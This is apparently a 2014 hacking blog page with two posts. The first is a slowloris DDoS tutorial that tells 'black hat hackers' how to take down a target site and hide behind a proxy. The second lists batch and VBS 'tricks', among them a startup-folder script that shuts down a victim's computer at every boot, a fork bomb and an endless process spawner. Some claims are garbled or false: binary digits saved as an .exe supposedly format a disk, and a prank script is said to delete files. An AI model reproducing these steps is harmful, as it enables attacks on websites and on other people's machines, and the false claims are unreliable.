Showing posts with label dangerous code. Show all posts
Showing posts with label dangerous code. Show all posts

Monday, July 7, 2014

Distributed Denial of Service Attack - DDoS attack (Part-1)

Hey guys! Sorry for being away for quite long. Today I am going to post on a very easy but harmful hack.
We can easily take down many sites from this although it is for small period but yet it can suffer a huge loss.
I hope many of you have guessed my topic of today's discussion. Yes its Distributed Denial of Service (DDoS) attack.
We can perform this attack in many ways but today I am posting the tutorial on slowloris but before we start lets see what is DDoS attack.

About: DDoS, fairly called as Denial of Service attack is one of the most powerful attack which is very tough to stop by any of the server although it takes time to perform.
In this we send a huge amount of packets to the port of the site which is open usually it is port 80 or attacks on those port which are open and ready to accept the packets.
These huge amount of packets creates a great traffic in the site and ultimately take it down till the attack is being performed or the server blocks the ip which is sending the packets.

Many of you must be thinking that what will happen if the site goes down for few hours???
Think about the big shopping sites like flipkart, ebay, amazon, etc., if they get down for few hours how much they will suffer a loss. Similarly, if someone attacks on stock exchange then just think how much unthinkable loss can happen in hours.

***Performing DDoS attack is under cyber crime. So think before you act.
Words for white hat hackers: Report the admin of the web page if you find any unimportant open port which is accepting the packets.
Words for programmers: Please check your codes and make sure most of the ports are closed and the codes are properly written and has no open segments.
Words for black hat hackers: Follow the tutorial to take down the site and don't forget to use proxy.

DDoSing via Slowloris:
Step 1: Download and install "active perl" from the link Click here to download Active Perl
Step 2: Download this slowloris script by clicking here Click here to download slowloris and save in any of your desired location and file extension as .pl (this is extension for perl script files). Like I have saved it in C:\downloads\DDOS\slowloris
Step 3: Open cmd by pressing windows+r (run dialog box appears) and then type cmd and hit enter.
Step 4: Go to the location by typing its address.
C:\downloads\DDOS
and press enter
Step 5: Run the slowloris script on the site. Here my target site is www.target-site.com
C:\downloads\DDOS> slowloris.pl -dns www.target-site.com -port 80 -timeout 1 -num 1000 -cache

Here you can change the port number to any other port which is open.

Check the site after few hours. Boom... You have taken it down.
For any query please comment below or write to us @ prashantsavior@gmail.com and don't forget to like our Facebook Page

Author: Unpredictable

Thursday, May 22, 2014

AWESOME NOTEPAD TRICKS

NOTEPAD TRICKS

Notepad can be used to make simple script which can sometimes be fruitful, sometimes becomes enjoyable and sometimes destructive. It depends entirely upon you how you use this. In this tutorial I will show you how can you use notepad for various purpose.

Warning: Don't try few things on your computer, it may damage your OS. So it will be mentioned is status which to try and which not to.


Trick 1: Make your PC talk what you type.
Status: Must try it (safe to use).

Open your notepad and copy paste the following code and save it as speak.vbs . Here the file extension should be .vbs.

Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")

sapi.Speak msg

After you have saved it then open the vbs script, you will be prompted to enter text. Type the text and hear your PC say that.

Trick 2: Make your CD drive pop out constantly.
Status: Can try it (nearly safe)

Open your notepad and copy paste the following code and save it as cdrom.vbs . Here the file extension should be .vbs.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100

loop

After you have saved it then open the vbs script, your cd rom will pop out. Everytime you put it inside it will pop out.

How to stop: Press alt+ctrl+del. 
                        Go to Processes.
                       Look for wscript.exe and stop that.

Trick 3: To make keyboard LED flash.
Status: You may try (nearly safe to use).

Open your notepad and copy paste the following code and save it as led.vbs . Here the file extension should be .vbs.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

After you have saved it then open the vbs script, your all led in the keyboard will flash.

Trick 4: To Pop up fake error message.
Status: Must try it (safe to try)

Open your notepad and copy paste the following code and save it as fake.bat . Here the file extension should be .bat.

msg * Error: Your system is affected by virus

After you have saved it then open the bat file, you will get a fake error message popping out.

Trick 5: Format Hard disk.
Status: Dont' try unless you need it (not safe).

Open your notepad and copy paste the following code and save it as format.exe . Here the file extension should be .exe.

Code : 01001011000111110010010101010101010000011111100000

After you have saved it then open the bat file, you will get a fake error message popping out.

Trick 6: Shutdown computer forcefully
Status: Safe to use

Open your notepad and copy paste the following code and save it as shutdown.bat . Here the file extension should be .bat.

@echo off
msg * Shutdown computer.
shutdown -c “Sleep Tight” -s

After you have saved it then open the bat file, your computer will shutdown forcefully.

Trick 7: Delete all the files
Status: Don't try on your laptop (try it on others unless he is your enemy)

Open your notepad and copy paste the following code and save it as delete.bat (don't change the filename). Here the file extension should be .bat.
This prank will make your friends think that all of their files are being deleted and then at the end the file deletes itself so it is untraceable. 

 @echo off 
echo do you want to delete all of your computer data? (y/n) 
pause >nul
echo Do not exit out of the screen or all computer data will be deleted. 
ping localhost -n 2 > nul 
echo Are you sure you want to delete all computer data? (y/n) 
pause >nul 
echo deleting all data... 
echo. 
echo. 
pause localhost -n 2 > nul 
dir /s 
echo. 
echo. 
ping localhost -n 2 > nul 
cls 
echo error.. error.. Not all data deleted, are you sure you wish to stop? (y/n) 
pause 
echo. 
echo. 
ping localhost -n 1 > nul 
cls 
dir /s 
echo. 
echo. 
ping localhost -n 2 >nul 
cls 
echo all data has been deleted.. 
pause 
del "c:delete.bat" 

After you have saved it then open the bat file, your files will get deleted.

Trick 8: Command Prompt Virus
Status: You can try but you might not close that.
Open your notepad and copy paste the following code and save it as virus.bat. Here the file extension should be .bat.

start virus.bat 
virus.bat

This will open infinite command prompt.

Trick 9: Shutdown computer every time you start it.
Status: Don't Try (try it on your own risk)
Open your notepad and copy paste the following code and save it as anything.bat. Here the file extension should be .bat.


copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” 

//these two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00 //this will shutdown the computer in 0 seconds 

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder.

Start up folder path in Windows 7 is 

C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Every time the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. 
How to stop: You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

Trick 10: Fork Bomb
Status: Try it on your own risk
Open your notepad and copy paste the following code and save it as fork.bat. Here the file extension should be .bat.

%0|%0 

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows.


Author: Unpredictable
If you have any query then comment below or you can write us @ prashantsavior@gmail.com.